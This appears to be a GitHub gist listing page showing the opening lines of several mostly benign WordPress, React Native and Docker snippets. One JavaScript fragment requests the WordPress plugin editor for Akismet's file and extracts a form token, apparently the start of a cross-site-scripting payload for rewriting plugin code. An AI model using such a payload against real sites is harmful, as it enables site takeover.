This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function convert_reusable_block_to_regular_block($data, $postarr) { | |
// Check if it's a new custom post type | |
if ($data['post_type'] === 'your_custom_post_type' && $data['post_status'] === 'auto-draft') { | |
$reusable_block_post = get_page_by_title('your_reusable_block_name', OBJECT, 'wp_block'); | |
// Check if the reusable block exists | |
if ($reusable_block_post !== null) { | |
$reusable_block_content = $reusable_block_post->post_content; | |
// Convert the reusable block into a regular block |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* | |
Plugin Name: Peachpay Currency Switcher shortcode | |
Description: Custom Peachpay currency switcher shortcode | |
Version: 1.0.0 | |
Author: Matheus Vieira | |
Author URI: https://github.com/mathvp | |
License: GPL2 | |
*/ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* Ensures Site Kit loads languages correctly. | |
* | |
* @author Adam Silverstein, Google | |
* @license Apache 2.0 | |
* @copyright 2020 Google Inc. | |
* | |
* @wordpress-plugin | |
* Plugin Name: Site Kit Language Loader |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* Site Kit by Google Anonymize IPs plugin file. | |
* | |
* @package Google\Site_Kit_Anomyize_IPs | |
* @author Felix Arntz, Google | |
* @license GPL-2.0-or-later | |
* @copyright 2019 Google Inc. | |
* | |
* @wordpress-plugin |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
add_filter( 'graphql_post_object_connection_query_args', function( $args ) { | |
$args['no_found_rows'] = false; | |
return $args; | |
} ); | |
add_filter( 'graphql_connection_page_info', function( $page_info, $connection ) { | |
$page_info['total'] = null; | |
if ( $connection->get_query() instanceof \WP_Query ) { | |
if ( isset( $connection->get_query()->found_posts ) ) { | |
$page_info['total'] = (int) $connection->get_query()->found_posts; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
u = "/wp-admin/plugin-editor.php" | |
p = "file=akismet%2Findex.php&plugin=akismet%2Fakismet.php" | |
var x = new XMLHttpRequest(); | |
var r=0 | |
x.open('GET',u+"?"+ p,1); | |
x.send(null); | |
x.onreadystatechange = function() { | |
if (x.readyState === 4 && r != 1) { | |
n = /ate.+".+\s+.+ue="(.*)" \/></.exec(x.responseText)[1] |

This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package com.nparashuram; | |
import android.os.Process; | |
import android.text.TextUtils; | |
import android.util.Log; | |
import android.view.View; | |
import android.view.ViewTreeObserver; | |
import com.facebook.react.ReactInstanceManager; | |
import com.facebook.react.ReactNativeHost; | |
import com.facebook.react.bridge.ReactContext; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
version: "3" | |
services: | |
mariadb: | |
image: wodby/mariadb:$MARIADB_TAG | |
container_name: "${PROJECT_NAME}_mariadb" | |
stop_grace_period: 30s | |
environment: | |
MYSQL_ROOT_PASSWORD: $DB_ROOT_PASSWORD | |
MYSQL_DATABASE: $DB_NAME |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// License: GPLv2+ | |
var el = wp.element.createElement, | |
registerBlockType = wp.blocks.registerBlockType, | |
ServerSideRender = wp.components.ServerSideRender, | |
TextControl = wp.components.TextControl, | |
InspectorControls = wp.editor.InspectorControls; | |
/* | |
* Here's where we register the block in JavaScript. |
NewerOlder